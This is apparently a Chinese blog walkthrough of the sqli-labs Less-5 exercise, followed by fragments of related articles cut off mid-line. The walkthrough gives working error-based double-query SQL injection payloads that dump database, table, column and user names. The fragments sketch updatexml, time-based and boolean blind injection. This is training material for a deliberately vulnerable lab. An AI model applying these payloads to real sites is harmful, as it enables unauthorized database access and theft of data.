sqli-labs-master-Less-5 基于报错盲注/双注入

先从老套路开始——

?id=1无报错,?id=1‘ 发现有报错!根据返回的语法错误可以判断是字符型

再然后可以判断出列数:?id=1‘ order by 3%23

然后按照套路,下一步应该是联合查询,可惜没有回显,这条路到这儿已经走到头了。

但是!但是!我们可以看看我们还有什么:1、语法错误仍然会显示出来2、You are in...的存在与否仍然可以帮助我们判断查询是否有正确

基于以上两点,就有了两种注入方式:

1、双注入(只要能回显语法错误,这种方式仍可使用,这种方式也是作者想考察的注入方式)

2、基于错误的盲注(根据You are in...的有无我们可以进行字符猜解,这需要python脚本)

方式一:双注入

原理这样大佬已经讲得非常清楚了:https://www.2cto.com/article/201303/192718.html

我只说重要的几点:

1、整条语句的构造,都是基于一个基本原理:聚合函数(count)和分组函数(group)在一起会报错!阅读时牢牢把握住这根主脉络即可。

2、整个语句,能否报错成功,是有概率的,得多试几次

3、构造payload时要注意:根据order by 3%23查出来列数为3,要注意匹配

但有个问题我一直没想明白——为什么是有概率,有办法提高概率?

基于聚合分组函数的双注入

下面是payload:

1、爆库名:

?id=1‘ union select 1,count(*),concat((select database()),floor(rand()*2)) as a from information_schema.columns group by a%23

2、爆表名:

?id=1‘ union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=‘security‘ limit 3,1),floor(rand()*2)) as a from information_schema.columns group by a%23

将从limit 0,1依次变到limit 3,1即可爆出所有的表

3、爆列名:

?id=1‘ union select 1,count(*),concat((select column_name from information_schema.columns where table_schema=‘security‘  and table_name=‘users‘ limit 0,1),floor(rand()*2)) as a from information_schema.columns group by a%23

4、爆内容:
?id=1‘ union select 1,count(*),concat((select username from security.users limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a%23

在此特别鸣谢:

http://120.79.189.7/?p=83

https://blog.csdn.net/u012763794/article/details/51207833

https://www.2cto.com/article/201303/192718.html

https://hellohxk.com/blog/sqli-labs/

原文地址:https://www.cnblogs.com/huangming-zzz/p/9878773.html

时间: 2024-11-07 17:52:20

sqli-labs-master-Less-5 基于报错盲注/双注入的相关文章

sql注入--基于报错的注入

这是经典的sqli-labs 中的less-5 问题首先通过几个常见的进行测试, 发现只要正确的话就会输出you are in.... 并不能绕过,因此不能出现敏感信息,因此要用一种新思路(参考白帽学院的教程)基于报错的注入,如图,在数据库上测试,产生报错 http://localhost/sqlilabs/Less-5/index.php?id=3' and (select 1 from(select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a

Python:SQLMap源码精读之基于错误的盲注(error-based blind)

目标网址 http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1 Payload的生成 1 <test> 2 <title>MySQL >= 5.0 AND error-based - WHERE or HAVING clause</title> 3 <stype>2</stype> 4 <level>1</level> 5 <risk>0</r

mysql基于“时间”的盲注

无需页面报错,根据页面响应时间做判断! mysql基于时间的盲注 ====================================================================================================================================================================== * 猜解库名 - 下面是猜解正确 mysql> select sleep(1) from (sele

Python:SQLMap源码精读之基于时间的盲注(time-based blind)

基于时间的盲注(time-based blind) 测试应用是否存在SQL注入漏洞时,经常发现某一潜在的漏洞难以确认.这可能源于多种原因,但主要是因为Web应用未显示任何错误,因而无法检索任何数据. 对于这种情况,要想识别漏洞,向数据库注入时间延迟并检查服务器响应是否也已经延迟会很有帮助.时间延迟是一种很强大的技术,Web服务器虽然可以隐藏错误或数据,但必须等待数据库返回结果,因此可用它来确认是否存在SQL注入.该技术尤其适合盲注. 源码解释 代码位置:在checkSqlInjection函数中

基于布尔的盲注

盲注是注入的一种,指的是在不知道数据返回值的情况下对数据中的内容进行猜测,实施注入.盲注一般分为布尔盲注和基于时间的盲注 #coding:utf-8 2 import requests 3 4 # chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' 5 6 #得知库名长度是8:http://localhost/sqlilabs/Less-8/?id=2' and length(database())>2

基于报错型的注入

一.floor() .rand().和 group by 组合: select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x 通过floor报错的方法来爆数据的本质是group by语句的报错.group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1(group by key的原理是循环读取数据的每一行,将结果保存于临时表中.读取每

mysql基于“报错”的注入

报错是如何转为xss的? mysql语句在页面报错,泄露信息 ========================================================================================================================================================================= * 报错方式之“updatexml”,有字数限制,但无需配合union. - mysql> sel

mysql order by基于时间的盲注

order by后面的注入,一般先尝试报错注入,无报错的时候可以通过rand(ture)和rand(false)来进行bool型盲注,但是今天遇到完全没有数据回显的(也就是数据库中没有数据)情况,这就比较麻烦了.记录一下sql语句 参考文章:https://www.cnblogs.com/babers/p/7397525.html https://www.cnblogs.com/Vinson404/p/7246792.html?utm_source=itdadao&utm_medium=refe

sqli-labs:1-4,基于报错的注入

sqli1: 脚本 1 # -*- coding: utf-8 -*- 2 """ 3 Created on Sat Mar 23 09:37:14 2019 4 5 @author: kenshin 6 """ 7 8 import requests,re 9 url = 'http://localhost/sqli-labs/Less-1/?id=-1' 10 11 def Len_OrderBy(url): 12 pattern_mark